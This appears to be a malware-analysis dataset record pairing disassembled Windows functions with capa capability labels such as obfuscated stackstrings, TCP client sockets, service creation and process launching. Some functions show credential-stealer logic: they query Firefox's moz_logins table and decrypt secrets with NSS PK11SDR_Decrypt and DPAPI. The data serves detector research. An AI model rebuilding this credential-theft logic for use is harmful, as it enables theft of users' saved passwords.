joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Get hostname
Identify system language via api
Link many functions at runtime

Disassembly:
sub esp, 0x344
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x407020
push 0x407088
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetVersionExA
push 0x407078
mov dword [esp + 0x88], eax
call esi
push eax
call edi
push 0x407010
push 0x407088
mov ebx, eax
call esi
push eax
call edi
push str.GetSystemInfo
push 0x407078
mov dword [esp + 0x74], eax
call esi
push eax
call edi
push str.GlobalMemoryStatusEx
push 0x407078
mov dword [esp + 0x90], eax
call esi
push eax
call edi
push str.RegQueryValueExA
push 0x407088
mov dword [esp + 0x94], eax
call esi
push eax
call edi
mov dword [esp + 0x7c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov ebp, dword [esp + 0x358]
and eax, 0xffff
mov ecx, 0x27
lea edi, [esp + 0xd0]
mov dword [ebp], eax
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0xd0]
mov dword [esp + 0xd0], 0x9c
push eax
call ebx
xor ebx, ebx
mov cl, 0x32
mov al, 0x30
jmp loc.0040badb

Function at 0x401940
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x40198b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
xor esi, esi
cmp dword [0x407884], esi
push edi
mov edi, dword [ebx + 0x124]
je fcn.00401ad2
and dword [0x407884], esi
mov eax, dword [ebx + 0x128]
cmp eax, 0x11
ja 0x401a4a
je 0x401a35
dec eax
je 0x401a2e
dec eax
je 0x401a24
dec eax
je 0x401a1a
dec eax
je 0x401a10
sub eax, 5
je 0x4019f3
sub eax, 7
jne fcn.00401ab4
cmp dword [0x407098], 1
mov esi, 0x405600
jmp loc.0040b896
cmp dword [0x407098], 1
jne 0x401a06
mov esi, 0x405040
jmp loc.0040c1d3
mov esi, 0x4059e0
jmp fcn.00401ab4
mov esi, 0x4040d0
jmp fcn.00401ab4
mov esi, 0x403f60
jmp loc.0040c277
mov esi, 0x403cc0
jmp loc.0040c1fc
mov esi, 0x403e00
jmp fcn.00401ab4
cmp dword [0x407098], 1
mov esi, 0x4059e0
je fcn.00401ab1
mov esi, 0x403cc0
jmp fcn.00401ab1
sub eax, 0x12
je 0x401a9e
dec eax
je 0x401a90
dec eax
je 0x401a78
sub eax, 5
je 0x401a71
sub eax, 7
je 0x401a6a
dec eax
dec eax
jne fcn.00401ab4
mov esi, 0x404380
jmp fcn.00401ab4
mov esi, 0x405c30
jmp fcn.00401ab4
mov esi, 0x404ca0
jmp fcn.00401ab4
mov eax, dword [0x407098]
mov esi, 0x403e00
dec eax
neg eax
sbb eax, eax
and al, 0xd4
add eax, 0x40
add edi, eax
jmp fcn.00401ab4
cmp dword [0x407098], 1
mov esi, 0x405600
jmp fcn.00401aaa
cmp dword [0x407098], 1
jmp loc.0040bbda
Function at 0x401c64
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407164
push 0x407180
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x407188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x407464], 0
mov dword [ebp - 8], eax
jne 0x401e1a
and byte [ebp - 0xd8], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push str.3d3d3R3m1h3c0eQJERYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4074ec
test eax, eax
jmp loc.0040b836
push 0x50
mov word [ebp - 0x18], 2
call dword [ebp - 4]
mov word [ebp - 0x16], ax
jmp loc.0040bf39

Function at 0x401e67
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne fcn.00401eb8
push eax
lea ecx, [ebp + 0xc]
push eax
push ecx
push eax
push eax
jmp loc.0040b677

Function at 0x401eba
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
jmp loc.0040b26f

Function at 0x402130
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetShortPathNameA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetEnvironmentVariableA
push ebx
mov dword [ebp - 0x2c], eax
call esi
push eax
call edi
push 0x407304
push ebx
mov dword [ebp - 0x30], eax
call esi
push eax
call edi
push 0x4071e0
push ebx
jmp loc.0040b06b

Function at 0x40235f
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x402378
push 1
pop eax
jmp fcn.004023ed
mov eax, dword [0x408488]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4023e6
test eax, eax
je 0x402378
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x402378
mov eax, ebx
push 0
sub eax, esi
push eax
jmp loc.0040bdc0
xor eax, eax
jmp loc.0040b142
Function at 0x402b47
Capabilities:
Packed with generic packer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402bbc
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], bl
mov dword [ebp + 8], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
jmp loc.0040b64f
pop esi
pop ebx
leave
ret

Function at 0x402bc0
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.WinExec
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetWindowsDirectoryA
push ebx
call esi
push eax
call edi
push str.GetModuleFileNameA
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
jmp loc.0040baac

Function at 0x402ee5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegCloseKey
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x30], eax
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
mov byte [ebp - 0x134], dl
jmp loc.0040b5d6
Function at 0x403044
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403940
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2dc
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x260], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x280], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x258], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x26c], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x274], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x254], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x288], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x284], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x270], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x24c], eax
push str.GetLastError
mov ebx, 0x407144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x278], eax
push str.WinExec
push ebx
call esi
push eax
jmp loc.0040bd4d

Function at 0x403910
Capabilities:
Packed with generic packer

Disassembly:
cmp cl, 0x40
jae 0x40392a
cmp cl, 0x20
jae 0x403920
jmp loc.0040bff0
mov eax, edx
xor edx, edx
and cl, 0x1f
shr eax, cl
ret
xor eax, eax
xor edx, edx
ret

Function at 0x403ae0
Capabilities:
Packed with generic packer

Disassembly:
push esi
push str.GetTickCount
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov esi, eax
jmp loc.0040ba52
Function at 0x403b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x40550e
Capabilities:
Packed with generic packer

Disassembly:
cmp edi, 0xffffffff
je fcn.0040551a
push edi
jmp loc.0040bc9b

Function at 0x405590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ae
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ef
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x405ee0
Capabilities:
Packed with generic packer

Disassembly:
lea eax, [edx - 1]
pop ebx
ret
xor eax, eax
mov al, byte [esp + 8]
push ebx
mov ebx, eax
shl eax, 8
mov edx, dword [esp + 8]
test edx, 3
je 0x405f0b
mov cl, byte [edx]
inc edx
cmp cl, bl
je 0x405ed0
test cl, cl
je 0x405f54
test edx, 3
jne 0x405ef8
or ebx, eax
push edi
mov eax, ebx
shl ebx, 0x10
push esi
or ebx, eax
mov ecx, dword [edx]
mov edi, 0x7efefeff
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0xffffffff
jmp 0x40b627
pop ebx
xor eax, eax
ret

Function at 0x40bc5c
Capabilities:
Terminate process

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b130
push 0x406d38
push eax
push ebx
push edi
xor edx, edx
mov dl, ah
mov ecx, eax
and ecx, 0xff
shl ecx, 8
add ecx, edx
shr eax, 0x10
push 0
pop ecx
test eax, eax
add esp, 0x18
leave
popal
popfd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x63081a35
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
cmp byte [0x631e3ae0], 0
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov dword [eax], 0
mov dword [esi], 0
je 0x63081a6c
test edi, edi
je 0x63081a6c
mov dword [esp], edi
call fcn.630815d6
test eax, eax
je 0x63081a73
xor eax, eax
jmp 0x63081b6a
lea eax, [ebp - 0x2c]
mov dword [esp], edi
mov dword [esp + 4], eax
call dword [0x631e3ab8]
test eax, eax
jne 0x63081b63
lea eax, [ebp - 0x1c]
mov dword [esp + 4], str.SELECT_hostname_httpRealm_encryptedUsername_encryptedPassword_FROM_moz_logins_
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x24]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x20]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call dword [0x631e3ac0]
test eax, eax
jne 0x63081b57
mov eax, dword [ebp - 0x24]
mov edi, 1
mov dword [esi], eax
imul eax, dword [ebp - 0x28]
shl eax, 2
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov ebx, eax
cmp edi, dword [ebp - 0x28]
jg 0x63081b4b
lea eax, [edi - 1]
xor esi, esi
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x24]
cmp esi, edx
mov dword [ebp - 0x40], edx
jge 0x63081b43
mov dword [esp], 0x1f4
call sub.msvcrt.dll_malloc
mov edx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x3c]
add edx, esi
mov dword [ebx + edx*4], eax
mov eax, dword [ebp - 0x24]
mov edx, edi
imul edx, eax
add edx, esi
mov edx, dword [ecx + edx*4]
test edx, edx
je 0x63081b27
mov dword [esp + 4], edx
jmp 0x63081b2f
mov dword [esp + 4], 0x630c4132
imul eax, dword [ebp - 0x3c]
add eax, esi
inc esi
mov eax, dword [ebx + eax*4]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
jmp 0x63081aeb
mov eax, dword [ebp + 0x10]
inc edi
inc dword [eax]
jmp 0x63081ade
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [0x631e3abc]
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call dword [0x631e3ac4]
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
mov eax, ebx
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x63081b72
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov dword [eax + 0x18], 0
mov dword [eax + 0x5c], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x60], 0
mov dword [eax + 0x64], 0
pop ebp
ret
Function at 0x63081e63
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x5c]
lea edx, [eax + 1]
cmp eax, 0x37
mov dword [ebx + 0x5c], edx
mov byte [ebx + eax + 0x1c], pe_nt_image_headers32
jle 0x63081eb0
mov eax, dword [ebx + 0x5c]
cmp eax, 0x3f
jg 0x63081e93
lea edx, [eax + 1]
mov dword [ebx + 0x5c], edx
mov byte [ebx + eax + 0x1c], 0
jmp 0x63081e7e
mov dword [esp], ebx
call fcn.63081bbf
mov eax, dword [ebx + 0x5c]
cmp eax, 0x37
jg 0x63081ec5
lea edx, [eax + 1]
mov dword [ebx + 0x5c], edx
mov byte [ebx + eax + 0x1c], 0
jmp 0x63081e9b
mov eax, dword [ebx + 0x5c]
cmp eax, 0x37
jg 0x63081ec5
lea edx, [eax + 1]
mov dword [ebx + 0x5c], edx
mov byte [ebx + eax + 0x1c], 0
jmp 0x63081eb0
mov eax, dword [ebx + 0x18]
mov edx, eax
mov byte [ebx + 0x57], al
shr edx, 0x18
mov byte [ebx + 0x54], dl
mov edx, eax
shr edx, 0x10
mov byte [ebx + 0x55], dl
mov edx, eax
mov eax, dword [ebx + 0x14]
shr edx, 8
mov byte [ebx + 0x56], dl
mov edx, eax
mov byte [ebx + 0x5b], al
shr edx, 0x18
mov byte [ebx + 0x58], dl
mov edx, eax
shr edx, 0x10
mov byte [ebx + 0x59], dl
mov edx, eax
shr edx, 8
mov byte [ebx + 0x5a], dl
mov dword [ebp + 8], ebx
pop eax
pop ebx
pop ebp
jmp fcn.63081bbf
Function at 0x6308496a
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x18], 0x401
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x18]
mov dword [esp], eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
sub esp, 0x1c
test eax, eax
je 0x630849dd
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
xor eax, eax
cmp eax, esi
je 0x630849d9
mov dl, byte [ecx + eax]
mov byte [ebx + eax], dl
inc eax
jmp 0x630849cc
mov byte [ebx + eax], 0
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret

Function at 0x630849e6
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
push ebx
je 0x63084b31
mov ebx, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], str.NSS_Init
mov dword [esp], eax
call esi
push edx
push edx
mov dword [0x631e3adc], eax
mov dword [esp + 4], str.NSS_Shutdown
mov dword [esp], ebx
call esi
push ecx
push ecx
mov dword [0x631e3ad8], eax
mov dword [esp + 4], str.PK11_GetInternalKeySlot
mov dword [esp], ebx
call esi
push edx
push edx
mov dword [0x631e3ad4], eax
mov dword [esp + 4], str.PK11_Authenticate
mov dword [esp], ebx
call esi
push ecx
push ecx
mov dword [0x631e3ad0], eax
mov dword [esp + 4], str.PK11SDR_Decrypt
mov dword [esp], ebx
call esi
push edx
push edx
mov dword [0x631e3acc], eax
mov dword [esp + 4], str.PK11_FreeSlot
mov dword [esp], ebx
call esi
push ecx
push ecx
mov dword [0x631e3ac8], eax
mov byte [0x631e3ae1], 1
mov dword [esp + 4], str.sqlite3_open16
mov dword [esp], ebx
call esi
push edx
push edx
mov dword [0x631e3ab8], eax
mov dword [esp + 4], str.sqlite3_prepare_v2
mov dword [esp], ebx
call esi
push ecx
push ecx
mov dword [0x631e3ab4], eax
mov dword [esp + 4], str.sqlite3_step
mov dword [esp], ebx
call esi
push edx
push edx
mov dword [0x631e3ab0], eax
mov dword [esp + 4], str.sqlite3_column_text
mov dword [esp], ebx
call esi
push ecx
push ecx
mov dword [0x631e3aac], eax
mov dword [esp + 4], str.sqlite3_finalize
mov dword [esp], ebx
call esi
push edx
push edx
mov dword [0x631e3aa8], eax
mov dword [esp + 4], str.sqlite3_get_table
mov dword [esp], ebx
call esi
push ecx
push ecx
mov dword [0x631e3ac0], eax
mov dword [esp + 4], str.sqlite3_free_table
mov dword [esp], ebx
call esi
push edx
push edx
mov dword [0x631e3abc], eax
mov dword [esp + 4], str.sqlite3_close
mov dword [esp], ebx
call esi
push ecx
push ecx
mov dword [0x631e3ac4], eax
mov byte [0x631e3ae0], 1
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x63084c8d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x37c
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push edx
push edx
mov dword [ebp - 0x36c], eax
mov dword [esp + 4], 0
mov dword [esp], 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
push edi
lea eax, [ebp - 0x23c]
push edi
mov dword [ebp - 0x364], 0x128
mov dword [ebp - 0x23c], 0x224
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_Module32First
jmp 0x63084cfa
push esi
push esi
lea esi, [ebp - 0x11c]
xor eax, eax
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
mov dword [esp], ecx
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x234]
mov dword [esp + 4], esi
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x364]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x36c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
lea edi, [ebp - 0x11c]
push ecx
lea esi, [ebp - 0x364]
push ecx
jmp 0x63084d89
mov eax, dword [ebp - 0x35c]
test eax, eax
jne 0x63084d8f
mov eax, dword [ebp - 0x36c]
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
push ecx
push ecx
test eax, eax
jne 0x63084d6b
jmp 0x63084de7
mov dword [esp + 4], eax
mov dword [esp], 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
push edx
lea eax, [ebp - 0x23c]
push edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_Module32First
jmp 0x63084db9
push eax
push eax
mov eax, dword [ebp - 0x370]
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.63084c0b
test al, al
je 0x63084d75
jmp 0x63084dd5
mov eax, dword [ebp - 0x374]
cmp eax, dword [ebp - 0x35c]
je 0x63084d75
jmp 0x63084deb
xor esi, esi
jmp 0x63084df0
mov esi, 1
mov eax, dword [ebp - 0x36c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
call edi
push edx
mov dword [esp], ebx
call edi
push eax
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.msvcrt.dll_free
jmp 0x63084e29
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x630850ec
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x63161e80
mov dword [esp + 4], 0x630c432e
mov dword [esp], 0
call ebx
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x63161f80
mov dword [esp + 4], 0x630c432e
mov dword [esp], 0
call ebx
mov ebx, dword [ebp - 4]
sub esp, 0x18
leave
ret